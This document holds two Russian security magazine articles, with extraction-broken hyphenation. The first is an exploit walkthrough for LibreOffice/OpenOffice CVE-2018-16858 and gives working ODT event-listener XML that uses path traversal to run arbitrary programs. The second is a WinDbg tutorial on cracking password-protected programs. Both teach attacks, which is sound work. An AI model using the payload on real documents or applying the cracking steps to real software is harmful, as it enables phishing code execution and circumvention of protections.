https://www.rbc.ru/technology_and_media/02/03/2019/5c7938b39a794723387f3e8e
https://sucuri.net/reports/19-sucuri-2018-hacked-report.pdf
https://xakep.ru/2019/02/04/chrome-js-reversing/
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ВЗЛОМ

Фи шин говые  кам пании  —  клас сичес кое  начало  мно гих
хакер ских  атак. Они  нап равле ны  на  дос тавку  вре донос ного
фай ла потен циаль ной жер тве и обыч но ведут ся по элек трон‐ 
ной поч те. Чаще все го обо лоч кой для боевой наг рузки слу‐ 
жит офис ный документ, при откры тии которо го выпол няют ся
нес тандар тные  дей ствия.  Мы  рас смот рим,  как  выпол нить
про изволь ный  код  с  помощью  модифи циро ван ного  фай ла
OpenDocument Text.

Боль шинс тво фишин говых  при емов  нап равле ны  на  экс плу ата цию  уяз вимос‐ 
тей в Microsoft Office, так как это самый популяр ный офис ный пакет. Одна ко
сей час  мно гие  фир мы  перехо дят  на  LibreOffice  и  OpenOffice,  в  том  чис ле
оши боч но счи тая их неуяз вимыми.

С рос том популяр ности этих прог рам мных пакетов они  тоже ста ли прив‐ 
лекать вни мание хакеров и незави симых иссле дова телей. Прос то, в отли чие
от набив ших оско мину багов MS Office, информа ции об уяз вимос тях в опен‐ 
сор сных пакетах пока накопи лось не так уж мно го. Целью моего иссле дова‐ 
ния  будет  не  столь ко  рас смот реть  уяз вимость  какой‐то  кон крет ной  вер сии
прог раммы, сколь ко разоб рать фор мат ODT и осо бен ности его обра бот ки.

WARNING

Статья пред назна чена для «белых хакеров», про‐ 
фес сиональ ных  пен тесте ров  и  руково дите лей
служ бы  информа цион ной  безопас ности  (CISO).
Ни автор, ни редак ция не несут ответс твен ности
за любой воз можный вред, при чинен ный матери‐ 
ала ми дан ной статьи.

ЭКСПЛУАТИРУЕМ CVE-2018-16858
Те ория
Най ден ная  уяз вимость  поз воля ет  выпол нить  несан кци они рован ный  дос туп
к  фай ловой  сис теме,  исполь зуя    (path  traversal  attack).
Это  одна  из  самых  час то  встре чающих ся  уяз вимос тей  и  канони чес кий  тип
ата ки. В дан ном слу чае зло наме рен но модифи циро ван ный файл ODT может
заг рузить  за  пре дела ми  родитель ско го  катало га  скрипт  на  Python,  который
получит  дос туп  к фай ловой  сис теме  и  выпол нит  любые  ука зан ные  дей ствия
с пра вами текуще го поль зовате ля.

атаку  обхода  пути

Пер вым дан ную уяз вимость обна ружил стар ший пен тестер немец кой фир‐ 
мы Cure53 Алекс Инфур (Alex Infuhr). Он пре дал свою наход ку огласке, и Libre‐
Office  ,  одна ко  все  вер сии  до  6.0.7  (край не  популяр ные  сей час)
по‐преж нему уяз вимы.

про пат чили

Нем ного  раз мытой  оста ется  ситу ация  с  Apache  OpenOffice.  Отдель ного
пат ча  нет,  и  текущая  вер сия 4.1.6  уяз вима до сих  пор. Сто рон няя  ком пания
ACROS Security   в свой   зап латку для дан ной уяз вимос‐ 
ти, но толь ко в вер сиях OpenOffice и LibreOffice для Windows. Более под робно
см. на их  .

вклю чила агент 0patch

сай те
Дан ный агент рас позна ет и бло киру ет извес тные уяз вимос ти, пре пятс твуя

их экс плу ата ции. Для его запус ка надо будет прой ти нес ложную  .
Во вре мя работы аген та при запус ке уяз вимого фай ла всплы вает неболь шое
уве дом ление,  а  при  наведе нии  кур сора  на  гипер ссыл ку  он  заб локиру ет
запуск неори гиналь ного скрип та. Я свя зал ся с раз работ чиками аген та, пыта‐ 
ясь про лить свет на работу дан ной фун кции. Их ответ при веден на скрин шоте.

ре гис тра цию

От вет раз работ чиков аген та

Наш  мик ропатч  для  LibreOffice  и  OpenOffice  прос то  про веря ет,  что 
  нет  типич ных  шаб лонов  для  выпол нения  ата ки  «обход

пути», таких как "../", "..\" или "..|".
[в документе]

Ин терес но,  что  некото рые  анти виру сы  так же  ищут  приз наки  экс пло ита
по все му докумен ту,  вклю чая его  тек сто вые поля и игно рируя фор мат. Нап‐ 
ример, «Анти вирус Кас пер ско го» руга ется даже на эту статью, если попытать‐ 
ся открыть ее чер новик в OpenOffice как .odt или в MS Office как .docx.

Лож нополо житель ный детект

Прак тика
Раз берем суть уяз вимос ти. Во вре мя инстал ляции LibreOffice в Windows так же
уста нав лива ется интер пре татор Python 3. Он находит ся по извес тно му адре су

.  Офис‐ 
ный пакет может исполнить Python‐скрипт, если ука зать ссыл ку на него внут ри
докумен та и пра виль но сос лать ся на него.

C:\Program  Files\LibreOffice\program\python‐core‐3.5.5\bin

До кумен ты  .odt  осно ваны  на  XML  (как  и  .docx),  поэто му  их  внут реннюю
струк туру  лег ко  изу чать  и  модифи циро вать.  Здесь  откры вает ся  боль шой
прос тор для раз ных вари антов атак, но в общем слу чае нам необ ходимо соз‐ 
дать в докумен те какую‐либо задачу, которая запус тит скрипт на Python.

Вот тут и нас тупа ет самое инте рес ное. Если под менить путь к исполня емо‐ 
му  коду  и  он  будет  соот ветс тво вать  пра вилам  исполне ния,  то  LibreOffice
выпол нит  его,  не  про веряя  путь  к  скрип ту.  Нап ример,  мы  можем  вый ти
за рам ки рабочей дирек тории, и ничего нам за это не будет... а вот жер тве —
будет!

Все опи сан ное выше спра вед ливо и для OpenOffice, прос то в нем исполь‐ 
зует ся Python 2, поэто му мес тополо жение некото рых скрип тов будет дру гое.
Это  нуж но  учесть,  если  ты  захочешь  написать  уни вер саль ный файл,  экс плу‐ 
ати рующий уяз вимость в обо их офис ных пакетах.

INFO

Все  тес ты  про веде ны  на  Windows  10  вер‐ 
сия 1803 сбор ка 17134.523. За осно ву взят пакет
LibreOffice  .пос ледней уяз вимой вер сии 6.0.6.2

Соз даем вре донос ный файл
От кры ваем LibreOffice и соз даем документ .odt с помощью Writer. Теперь нам
необ ходимо  добавить  вызов  любого  Python‐скрип та.  На  помощь  при ходит
событие OnMouseOver,  которое  воз ника ет  при  прос том  наведе нии  кур сора
мыши на гипер ссыл ку в докумен те. Пре иму щес тво сос тоит в том, что жер тве
даже кли кать никуда не при дет ся: навес ти кур сор на ссыл ку в докумен те мож‐ 
но  и  слу чай но,  осо бен но  если  она  занима ет  весь  лист  и  такого  же  белого
цве та.

Идем  в  меню  «Встав ка  →  Гипер ссыл ка».  Запол няем  поле  URL  любой
ссыл кой (неваж но какой). В допол нитель ных нас трой ках, нап ротив «Фрейм:»,
в  кон це  окна  есть  кноп ка  «События»,  которая  вызыва ет  нас трой ки мак роса.
В поле «Наз начения» выбира ем «Мышь над объ ектом» (то, о чем и было ска‐ 
зано).  И  в  поле  «Сущес тву ющие  мак росы»  добавим  createTable  (находит ся
в  вет ке  «Мак росы  LibreOffice  →  pythonSample»).  Наз нача ем  нуж ное  нам
событие.

Соз дание события OnMouseOver

Те перь запол няем поле «Текст» и кли каем «При менить». На лис те появ ляет ся
гипер ссыл ка,  при  наведе нии  на  которую  исполня ется  мак рос.  В  моем  при‐ 
мере  так  откры вает ся  еще  один  документ  с  информа цией  о  пер вом  в  виде
таб лицы и парой при меров из  .ру ководс тва

До кумент, сфор мирован ный мак росом при наведе нии кур сора на гипер ‐
ссыл ку

Сох раня ем документ и зак рыва ем. Упро щен но ODT — это XML в ZIP, поэто му
посетить «нед ра» нашего фай ла мож но с помощью любого архи вато ра с под‐ 
дер жкой  ZIP.  Я  исполь зую  WinRAR.  Откры ваем  ODT  как  архив  и  смот рим
струк туру.

В  кор невом  катало ге  нас  инте ресу ет  файл  .  Разар хивиру ем  его
и откро ем в любом  тек сто вом редак торе  (я исполь зую Notepad++). В  кон це
раз метки (на скрин шоте выделил это в отдель ную стро ку) вид но, что явно ука‐ 
зыва ется скрипт, который будет исполнять ся. Имя ему  .

content

TableSample.py

Со дер жимое фай ла content

Рас полага ется  дан ный файл  (как  и  все  при меры  скрип тов)  по  пути 
.  Если

открыть его и пос мотреть на исходный код, то мож но заметить, что наз вание
одной  из  двух  фун кций  (а  имен но  )  сов пада ет  со  сло вами
в теле   пос ле наз вания выпол няемо го скрип та. Это зна чит, что в фай‐ 
ле  раз метки  ука зано  не  толь ко  наз вание фай ла  со  скрип том,  но  и фун кция,
которую необ ходимо выпол нить!

C:\Pro‐
gram  Files\LibreOffice\share\Scripts\python\pythonSamples

createTable()
content

Со дер жимое фай ла TableSample.py

Про ведем экспе римент: заменим в   фун кцию 
на  , не впи сывая ее парамет ры. При откры тии фай ла
получим ошиб ку с наз вани ем новой фун кции.

TableSample.py createTable()
insertTextIntoCell()

Ошиб ка пос ле изме нения фун кции

От лично! Сооб щения об ошиб ках — это та обратная связь, которая поможет
сде лать  пра виль ный вызов  «боевой наг рузки». Добавим парамет ры для 

  и  запус тим  сно ва.  Теперь  воз ника ет  дру гая  ошиб ка.
Она показы вает, что парамет ры невер ны, а зна чит, при нима лись на исполне‐ 
ние и про веря лись. Доволь но при ятные новос ти!

in‐
sertTextIntoCell()

Ошиб ка пос ле добав ления парамет ров фун кции

Идем  даль ше.  Вос ста новим  документ  в  пер воначаль ное  сос тояние  и  поп‐ 
робу ем  изме нить  путь  к  скрип ту  (для  это го  я  прос то  ско пиро вал  скрипт
на  уро вень  выше,  а  в фай ле    перед  име нем  скрип та  добавил  ).
В этот раз файл отра ботал как надо, без еди ной ошиб ки.

content ../

Под ведем про межу точ ный итог: мы можем явно ука зать в докумен те ODT
заг рузку любого скрип та на питоне по извес тно му адре су и вызывать его фун‐ 
кцию  по  стан дар тно му  событию  (нап ример,  OnMouseOver).  В  исполь зовав‐ 
шемся для при мера   никаких потен циаль но опас ных фун кций
нет,  а  вот  в  каком‐то  дру гом  скрип те  из  стан дар тной  под борки  они  могут
быть.

TableSample.py

Алекс Инфур нашел такой —  ,  который находит ся в 
. В нем есть фун кция

. С ее помощью через вызов  мож но запус тить
любой  исполня емый  файл,  при чем  с  про изволь ными  аргу мен тами  —  дос‐ 
таточ но передать их в строч ку

pydoc.py C:\Program 
Files\LibreOffice\program\python‐core‐3.5.5\lib
tempfilepager() os.system()

os.system(cmd + ' "' + filename + '"')

Код фун кции tempfilepager() в фай ле pydoc.py

Что бы  все  зарабо тало,  нам  необ ходимо  лишь  про писать  путь  до  скрип та
и вызывать опас ную фун кцию с нуж ными парамет рами.

От редак тирован ный файл content

ЗАПУСКАЕМ ЭКСПЛОИТ
Нас тал момент  X! Мы  откры ваем модифи циро ван ный  документ ODT,  кур сор
ока зыва ется наведен ным на скры тую ссыл ку, и про исхо дит магия — без раз‐ 
решения  поль зовате ля  запус кает ся  про изволь ный  файл  (злоб ный  пей лоад
или прос той каль кулятор в качес тве PoC).

Для OpenOffice стро ка будет выг лядеть так:

<office:event‐listeners><script:event‐listener script:language="ooo:
script" script:event‐name="dom:mouseover" xlink:href="vnd.sun.star.
script:../../../program/python‐core‐2.7.6/lib/pydoc.py$tempfilepager(
1, calc.exe )?language=Python&location=share" xlink:type="simple"/>

В LibreOffice она же записы вает ся так:

<office:event‐listeners><script:event‐listener script:language="ooo:
script" script:event‐name="dom:mouseover" xlink:href="vnd.sun.star.
script:../../../program/python‐core‐3.5.5/lib/pydoc.py$tempfilepager(
1, calc.exe )?language=Python&location=share" xlink:type="simple"/>

Вот и вся раз ница.

НЕУЯЗВИМЫЕ ВЕРСИИ
Пос ле про делан ных опы тов я начал изу чать зап латку этой уяз вимос ти. В Libre‐
Office  вер сии  6.0.7  я  заметил  ошиб ку,  которая  ста ла  воз никать  при  запус ке
скрип та, до это го работав шего в LibreOffice 6.0.6.2. Она ссы лает ся на стро‐ 
ку  998  фай ла  ,  рас положен ного  в  пап ке 

.
pythonscript.py C:\Program 

Files\LibreOffice\program

Ис ходный код pythonscript.py

Как вид но на скрин шоте, фун кция   про сит параметр  .
Как раз в этом парамет ре и воз ника ет ошиб ка в стро ке

getScript() scriptUri

mod = self.provCtx.getModuleByUrl(fileUri)

Та  же  самая  ошиб ка  воз ника ет  в  OpenOffice,  если  экс плу ата цион ный  файл
скон фигури рован неп равиль но  (невер но  ука зан путь  к  скрип ту). Эта ошиб ка
воз никала и  ког да я пытал ся выз вать скрипт на уда лен ной машине по SMB‐
про токо лу в фор мате  .\\\server\pydoc.py

Изу чив  код  ,  я  уви дел,  что  фун кция 
  (214‐я  стро ка  фай ла)  пре тер пела  кар диналь ные  изме нения.

Теперь  она  про веря ет,  находит ся  ли  скрипт  в  рабочей  дирек тории  или  нет.
Выг лядит этот фраг мент так:

pythonscript.py scriptURI2S‐
torageUri()

# base path to the python script location
sBaseUri = self.m_baseUri + "/"
xBaseUri = self.m_uriRefFac.parse(sBaseUri)

# path to the .py file + "$functionname, arguments, etc
xStorageUri = self.m_uriRefFac.parse(scriptURI)
sStorageUri = xStorageUri.getName().replace( "|", "/" );

# path to the .py file, relative to the base
sFileUri = sStorageUri[0:sStorageUri.find("$")]
xFileUri = self.m_uriRefFac.parse(sFileUri)
if not xFileUri:
message = "pythonscript: invalid relative uri '" + sFileUri+ "'"
log.debug( message )
raise RuntimeException( message )

# absolute path to the .py file
xAbsScriptUri = self.m_uriRefFac.makeAbsolute(xBaseUri, xFileUri, 
True, RETAIN)
sAbsScriptUri = xAbsScriptUri.getUriReference()
# ensure py file is under the base path
if not sAbsScriptUri.startswith(sBaseUri):
message = "pythonscript: storage uri '" + sAbsScriptUri + "' not in 
base uri '" + self.m_baseUri + "'"
log.debug( message )
raise RuntimeException( message )
ret = sBaseUri + sStorageUri

Бо лее под робное срав нение при водит ся на скрин шоте.

До бав ленная про вер ка пути

Са ма фун кция    никак  не  изме нилась  вплоть  до  LibreOffice
v.6.2.1  (на  момент  написа ния  статьи —  пос ледняя  из  ста биль ных).  Строч ку
обра щения  к  опе раци онной  сис теме  по  задан ным  парамет рам  все  так  же
мож но  исполь зовать.  Если  удас тся  обой ти  зап рет  на  ука зание  мес тополо‐ 
жения фай ла, то мож но будет экс плу ати ровать оче ред ную уяз вимость, изме‐ 
нив лишь наз вание пап ки на  .

tempfilepager()

python‐core‐3.5.6

ЗАКЛЮЧЕНИЕ
Мы разоб рали уяз вимость CVE‐2018‐16858, экс плу ата ция которой счи тает ся
очень  лег кой.  Проб лема  в  том,  что  дырявые  вер сии  LibreOffice  про дол жают
широко  исполь зовать ся,  а  OpenOffice  не  про пат чен  до  сих  пор.  Поэто му
не откла дывай обновле ние LibreOffice и оза боть ся допол нитель ным уров нем
защиты для OpenOffice.

WWW

•Ис сле дова ние уяз вимос ти CVE‐2018‐16858
•PoC для CVE‐2018‐16858
•Об ата ке «обход пути»

mailto:vegelin47@mail.ru
https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/
https://xakep.ru/2019/02/14/openoffice-micropatch/
https://0patch.com/download.htm
https://0patch.com/patches.html
https://dist.0patch.com/User/Register
https://downloadarchive.documentfoundation.org/libreoffice/old/6.0.6.2/win/x86_64/
http://www.openoffice.org/udk/common/man/tutorial/writerdemo.html
https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html
http://www.mavenit.com/category/cve-2018-16858
https://www.owasp.org/index.php/Path_Traversal
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ВЗЛОМ

Что бы  иметь  воз можность  ломать  прог раммы,  на  стра же
которых  сто ят  хит рые  защит ные  механиз мы,  необ ходимо
знать  раз ные  спо собы  нахож дения  этих  самых  механиз мов
в  подопыт ном  при ложе нии.  В  сегод няшней  статье  будет
показа но,  как  это  сде лать,  а  в  кон це  мы  раз берем  при мер
работы с гра фичес ким при ложе нием.

INFO

Пят надцать лет назад эпи чес кий труд Кри са Кас‐ 
пер ски  «Фун дамен таль ные  осно вы  хакерс тва»
был  нас толь ной  кни гой  каж дого  начина юще го
иссле дова теля в области компь ютер ной безопас‐ 
ности.  Пуб лику емый  «Хакером»  одно имен ный
цикл ста тей — попыт ка обно вить эту кни гу с уче‐ 
том  сов ремен ных  реалий.  Начать  чте ние  ты
можешь  со  статьи  «

».
Про вер ка  аутен тичнос ти

и базовый взлом защиты

В   мы узна ли, каким обра зом соот нести адре са бай тов в вир‐ 
туаль ной памяти с их реаль ным рас положе нием на носите ле. Это пот ребова‐ 
ло от нас нап рячь мозг и при менить матема тику. Меж ду тем, как мы уви дели
из пре дыду щих ста тей, непос редс твен ный взлом,  ког да извес тно мес торас‐ 
положе ние защит ного механиз ма, пред став ляет собой эле мен тарную задачу,
которую лег ко решить с помощью HIEW или дру гого редак тора PE‐фай лов.

прош лой статье

СПОСОБ 1. ПРЯМОЙ ПОИСК ВВЕДЕННОГО ПАРОЛЯ В ПАМЯТИ
Па роль, хра нящий ся в теле прог раммы откры тым тек стом, — ско рее из ряда
вон выходя щее исклю чение, чем пра вило. К чему услу ги хакера, если пароль
и  без  того  виден  нево ору жен ным  взгля дом? Поэто му  раз работ чики  защиты
вся чес ки  пыта ются  скрыть  его  от  пос торон них  глаз  (о  том,  как  имен но  они
это дела ют, мы погово рим поз же).

Впро чем,  учи тывая  раз мер  сов ремен ных  пакетов,  прог раммист  может
без  осо бого  тру да  помес тить  пароль  в  каком‐нибудь  заваляв шемся фай ле,
попут но  снаб див  его  «кря куша ми»  —  стро ками,  выг лядящи ми  как  пароль,
но  паролем не  явля ющи мися. Поп робуй раз берись,  где  тут  липа,  а  где  нет,
тем  более  что  под ходящих  на  эту  роль  строк  в  про екте  сред ней  величи ны
может быть нес коль ко сотен, а то и тысяч!

Да вай  подой дем  к  решению  проб лемы  от  обратно го  —  будем  искать
не  ори гиналь ный  пароль,  который  нам  неиз вестен,  а  ту  стро ку,  которую мы
скор мили  прог рамме  в  качес тве  пароля.  А  най дя,  уста новим  на  нее  бряк,
и  даль ше  все  точ но  так  же,  как  и  рань ше.  Бряк  всплы вает  на  обра щение
по срав нению, мы выходим из срав нива ющей про цеду ры, кор ректи руем JMP
и...

Взгля нем еще раз на исходный текст лома емо го нами при мера 
:

passCom‐
pare1.cpp

for(;;)
{
   printf("Enter password:");
   fgets(&buff[0],PASSWORD_SIZE,stdin);
   if (strcmp(&buff[0],PASSWORD))
       printf("Wrong password\n");
   else break;
   if (++count>2) return ‐1;
}

Об рати вни мание — в   чита ется вве ден ный поль зовате лем пароль, срав‐ 
нива ется  с  ори гина лом,  затем  (при  неудач ном  срав нении)  зап рашива ется
еще раз, но (!) при этом   не очи щает ся! Отсю да сле дует, что, если пос ле
выдачи ругатель ства Wrong password выз вать отладчик и прой тись по памяти
кон текс тным поис ком, мож но обна ружить тот завет ный  , а осталь ное уже
дело тех ники!

buff

buff

buff

Итак,  прис тупим  (мы  еще  не  зна ем,  во  что  мы  ввя зыва емся, —  но,  увы,
в жиз ни все слож нее, чем в теории). На этот раз запус тим 
отдель но от отладчи ка. Затем под клю чим ся к про цес су из отладчи ка  (Attach
to process в WinDbg). Обра ти вни мание: в окне выбора про цес са отоб ража‐ 
ются  все  запущен ные  про цес сы  и  для  каж дого  из  них  выводит ся  его  раз‐ 
рядность в стол бце Platform. Вво дим любой при шед ший на  ум пароль  (нап‐ 
ример,  ),  про пус каем  воз мущен ный  вопль  Wrong  мимо
ушей и в отладчи ке нажима ем Break (сочета ние кла виш Alt + Del).

passCompare1.exe

KPNC  Kaspersky++

Ок но со спис ком про цес сов для выбора

Поп робу ем отыс кать в памяти вве ден ный пароль:

 

 
0:001> s ‐a 0x0 L?0x7FFFFFFF "KPNC Kaspersky"

Пояс нения
Пер вый  параметр  пос ле  коман ды   —  флаг   —  опре деля ет  цель  поис ка
как  набор  ASCII‐сим волов.  Вто рой  параметр  —  сме щение,  отку да  начать
искать. Вооб ще‐то начинать поиск с нулево го сме щения — идея глу пая. Судя
по кар те памяти, здесь рас положен слу жеб ный код и иско мого пароля быть
не может. Впро чем,  это ничему не вре дит, и  так  гораз до быс трее,  чем раз‐ 
бирать ся,  с  какого  адре са  заг ружена  прог рамма  и  отку да  имен но  начинать
поиск.

s ‐a

Тре тий параметр — вер хний пре дел поис ка, то есть «докуда». Здесь у нас
сто ит мак сималь ное 32‐бит ное зна ковое чис ло, таким обра зом мы охва тыва‐ 
ем весь воз можный диапа зон 32‐бит ного про цес са.

Пос ледний  параметр  —  собс твен но  иско мая  стро ка.  Обра ти  вни мание,
что  мы  ищем  не  всю  стро ку,  а  толь ко  ее  часть  (   про тив

). Это  поз воля ет  изба вить ся  от  лож ных  сра баты ваний,  воз‐ 
ника ющих из‐за ссы лок на внут ренние буфера.

KPNC  Kaspersky++
KPNC Kaspersky

Ре зуль тат  (у  тебя  зна чения,  ско рее  все го,  получат ся  дру гими,  и  они  будут
менять ся при каж дом переза пус ке при ложе ния):

 

 

00f9f810 4b 50 4e 43 20 4b 61 73‐70 65 72 73 6b 79 2b 2b  KPNC Kasper‐
sky++ 
0147fd80 4b 50 4e 43 20 4b 61 73‐70 65 72 73 6b 79 2b 2b  KPNC 
Kaspersky++

Це лых  два  вхож дения!  Почему  два?  Пред положим,  что  при  чте нии  вво да
с кла виату ры сим волы спер ва попада ют в сис темный буфер, который и дает
лож ное сра баты вание. Тем не менее не ста вить же, не разоб равшись, сра зу
обе точ ки оста нова. В дан ном слу чае четырех отла доч ных регис тров про цес‐ 
сора  хва тит,  а  как быть, если бы мы наш ли десяток вхож дений? Да и в двух
бря ках немуд рено заб лудить ся с неп ривыч ки! Как отфиль тро вать помехи?

На чина ем думать.
На помощь при ходит  кар та  памяти — зная  вла дель ца реги она,  которо му

при над лежит буфер, мож но очень мно гое ска зать об этом буфере. Нас коро
набив уже зна комую коман ду  , мы получим приб лизитель‐ 
но сле дующее (выб раны све дения толь ко о сек циях   и  ):

!dh passCompare1
.data .rdata

 

 

SECTION HEADER #2 
.rdata name 
    A7E virtual size 
    2000 virtual address 
    C00 size of raw data 
    1200 file pointer to raw data 
    0 file pointer to relocation table 
    0 file pointer to line numbers 
    0 number of relocations 
    0 number of line numbers 
40000040 flags 
        Initialized Data 
        (no align specified) 
        Read Only 
  
SECTION HEADER #3 
.data name 
    388 virtual size 
    3000 virtual address 
    200 size of raw data 
    1E00 file pointer to raw data 
    0 file pointer to relocation table 
    0 file pointer to line numbers 
    0 number of relocations 
    0 number of line numbers 
C0000040 flags 
        Initialized Data 
        (no align specified) 
        Read Write

За одно опре делим базовый адрес модуля при ложе ния: 
(в  моем  кон крет ном  слу чае  он  равен  ,  а  у  тебя  зна чение,  ско рее
все го,  будет  дру гим).  Узна ем,  куда  в  памяти  заг ружена  сек ция  :

,  а  так же  куда  заг ружена  сек ция  :
.  Это  гораз до  выше  най ден ных  адре сов

рас положе ния  буферов  с  вве ден ным  паролем.  Сле дова тель но,  най ден ные
адре са не ука зыва ют в области   и  .

lmf m passCompare1
0xDE0000

.rdata
0xDE0000  +  0x2000  ==  0xDE2000 .data
0xDE0000  +  0x3000  ==  0xDE3000

.data .rdata
Ду маем даль ше. Адрес   выходит далеко за пре делы лома емо го

при ложе ния,  и  вооб ще  непонят но,  чему  при над лежит.  Почесав  затылок,  мы
вспом ним о такой «вкус ности» Windows, как куча (heap). С помощью коман ды

 пос мотрим, где она начина ется:

0x147fd80

!heap

 

 

Index   Address  Name      Debugging options enabled 
1:   01470000

Из это го зак люча ем, что адрес   явно находит ся в куче.0x147fd80
Раз бира емся даль ше. Пос коль ку стек рас тет сни зу вверх (то есть от стар‐ 

ших  адре сов  к  млад шим),  адрес    находит ся  в  сте ке.  Уве рен ность
подог рева ет  тот  факт,  что  боль шинс тво  прог раммис тов  раз меща ет  буфера
в локаль ных перемен ных, ну а локаль ные перемен ные, в свою оче редь, раз‐ 
меща ются ком пилято ром в сте ке.

0xf9f810

Ну что, поп робу ем пос тавить бряк по пер вому адре су?

 

 

0:001> ba r4 00f9f810 
0:001> g

На  вто ром  зап росе  пароля  сно ва  вво дим  .  Жмем  Enter
и дожида емся сиюми нут ной акти вации отладчи ка. Бряк про изо шел на вто рой
из этих строк:

KPNC  Kaspersky++

77c349f3 8806           mov     byte ptr [esi], al
77c349f5 46             inc     esi
77c349f6 8975d8         mov     dword ptr [ebp‐28h], esi

Смот рим, что находит ся в регис тре  :esi

 

 

dc esi 
00f9f810 434e504b 73614b20 73726570 2b2b796b  KPNC Kaspersky++

Впро чем, это го и сле дова ло ожи дать. Поп робу ем вый ти из текущей фун кции
по Shift + F11. И мы сно ва попадем на эту же стро ку. Вновь пос мотрим содер‐ 
жимое это го регис тра:

 

 
00f9f811 20434e50 7073614b 6b737265 0a2b2b79  PNC Kaspersky++.

Ага,  один  сим вол  отку сан.  Сле дова тель но,  мы  находим ся  в  срав нива ющей
про цеду ре.  Вый дем  из  нее  нажати ем  на  F5,  так  как  при  нажатии  на  Shift  +
F11 мы перей дем в сле дующую ите рацию перебо ра сим волов.

 

 

00de10e0 b80821de00   mov     eax, offset passCompare1!`string' 
(00de2108) 
00de10e5 8a11         mov     dl, byte ptr [ecx] 
00de10e7 3a10         cmp     dl, byte ptr [eax]          
ds:002b:00de2108=6d 
00de10e9 751a         jne     passCompare1!main+0xc5 (00de1105)

И  вот  мы  в  теле  уже  хорошо  нам  зна комой  (раз вивай  зри тель ную  память!)
про цеду ры срав нения ори гиналь ного и вве ден ного поль зовате лем паролей.
На вся кий слу чай для пущей убеж деннос ти выведем зна чение ука зате лей EAX
и ECX, что бы узнать, что с чем срав нива ется:

 

 

0:000> dc eax 
00de2108 4f47796d 6170444f 6f777373 000a6472  myGOODpassword.. 
0:000> dc ecx 
00f9f810 434e504b 73614b20 73726570 2b2b796b  KPNC Kaspersky++

Как раз то, что мы ищем!
Ну а осталь ное мы уже про ходи ли. Записы ваем адрес условно го перехо да

(клю чевую пос ледова тель ность  для  поис ка),  с  помощью све дений из  прош‐ 
лой  статьи  находим  адрес  инс трук ции  на  носите ле,  соот ветс тву ющей  спро‐ 
еци рован ной в памяти, пра вим исполня емый файл, и все окей.

Вы воды
Итак, мы поз накоми лись с одним более или менее уни вер саль ным спо собом
взло ма  защит,  осно ван ных  на  срав нении  пароля  (поз же  мы  уви дим,  что  он
под ходит  и  для  защит,  осно ван ных  на  регис тра цион ных  номерах).  Его
основное дос тоинс тво — прос тота. А недос татки... недос татков у него мно го:

ес ли  прог раммист  очис тит  буфера  пос ле  срав нения,  поиск  вве ден ного
пароля  ничего  не  даст,  раз ве  что  оста нут ся  сис темные буфера,  которые
так прос то не зат решь, но отсле дить переме щения пароля из сис темных
буферов в локаль ные не так‐то лег ко;

•

слу жеб ных буферов мно го, и очень труд но опре делить, какой из них «нас‐ 
тоящий». Прог раммист же может рас полагать буфер и в сег менте дан ных
(ста тичес кий  буфер),  и  в  сте ке  (локаль ный  буфер),  и  в  куче,  и  даже
выделять  память  низ коуров невыми  вызова ми  типа  VirtualAlloc  или...
да мало ли как разыг рает ся его фан тазия. В резуль тате под час при ходит ся
про сеивать все най ден ные вхож дения тупым перебо ром.

•

СПОСОБ 2. БРЯК НА ФУНКЦИИ ВВОДА ПАРОЛЯ
Взлом при ложе ния с GUI
Нас тала  пора  раз нооб разить  наш  объ ект  взло ма.  Теперь  поп робу ем
заломить  при ложе ние  с  гра фичес ким  интерфей сом.  В  качес тве  тре ниров ки
раз берем  . Это  то же самое,  что и  ,  толь ко
с гра фичес ким интерфей сом на осно ве MFC Dialog Based App (см. в ска чива‐ 
емых матери алах к статье).

passCompare3 passCompare1.exe

Ста рый доб рый MFC Application Wizard

Так же  обра ти  вни мание  на  то,  что  работа  с  тек стом  в  этом  при мере  орга‐ 
низо вана  по‐дру гому.  Если  рань ше мы  работа ли  с  базовым  типом  ,  то
здесь исполь зует ся обер тка — класс  , что, ско рее все го, при взло ме
про фес сиональ ных при ложе ний будет встре чать ся нам чаще. Кро ме двух кно‐ 
пок, иду щих в заготов ке по умол чанию, добавь на фор му эле мент Edit Control.
Свя жи его  с  перемен ной    и  соз дай  событие обра бот ки  нажатия
на  кноп ке  OK.  Это  и  будет  клю чевая  про цеду ра  при ложе ния,  про веря ющая
вве ден ный пароль на равенс тво эта лон ному:

char
CString

m_password

const CString PASSWORD = _T("myGOODpassword");
…
void CpassCompare3Dlg::OnBnClickedOk()
{
   CString str = NULL;

   m_password.GetWindowText(str);
   if (PASSWORD.Compare(str))
   {
       MessageBox(_T("Wrong password"));
       m_password.SetSel(0, ‐1, 0);
       return;
   }
   else
   {
       MessageBox(_T("Password OK"));
   }
   CDialogEx::OnOK();
}

Ка жет ся, никаких сюр при зов не пред видит ся.
При  всем  желании  метод  пря мого  поис ка  пароля  в  памяти  эле ган тным

наз вать  нель зя,  да  и  прак тичным  тоже.  А  собс твен но,  зачем  искать  сам
пароль, спо тыка ясь о бес порядоч но раз бро сан ные буфера, ког да мож но пос‐ 
тавить  бряк  непос редс твен но  на  фун кцию,  его  счи тыва ющую?  Хм,  мож но
и  так...  да  вот  уга дать,  какой  имен но фун кци ей  раз работ чик  взду мал  читать
пароль, вряд ли будет нам ного про ще.

На самом деле одно и то же дей ствие может быть выпол нено все го лишь
нес коль кими фун кци ями и их перебор не зай мет мно го вре мени. В час тнос ти,
содер жимое  окна  редак тирова ния  обыч но  добыва ется  при  помощи  либо
фун кции    (чаще  все го),  либо  фун кции    (а
это  зна читель но  реже).  Все  вер сии  Windows  NT  и  млад ше  пред почита ют
работать с юни кодом, поэто му на кон це фун кций работы с тек стом    (wide),
а не   (ASCII).

GetWindowTextW GetDlgItemTextW

W
A

Раз уж речь заш ла об окнах, запус тим наш GUI «кряк мис» и уста новим точ‐ 
ку оста нова на фун кцию   ( ). Хотя
эта фун кция — сис темная, точ ка оста нова не будет гло баль ной и не зат ронет
все при ложе ния в сис теме, а будет фун кци они ровать толь ко в кон тек сте дан‐ 
ного при ложе ния.

GetWindowTextW bp User32!GetWindowTextW

Вво дим  какой‐нибудь  пароль  ( ,  по  обык новению),
нажима ем кла вишу Enter, и отладчик незамед литель но всплы вает:

KPNC  Kaspersky++

 

 

USER32!GetWindowTextW: 
7510a8e0 6a10           push    10h 
7510a8e2 68e0041875     push    offset 
USER32!__HrLoadAllImportsForDll+0x1e9 (751804e0) 
7510a8e7 e88c510200     call    USER32!_SEH_prolog4 (7512fa78) 
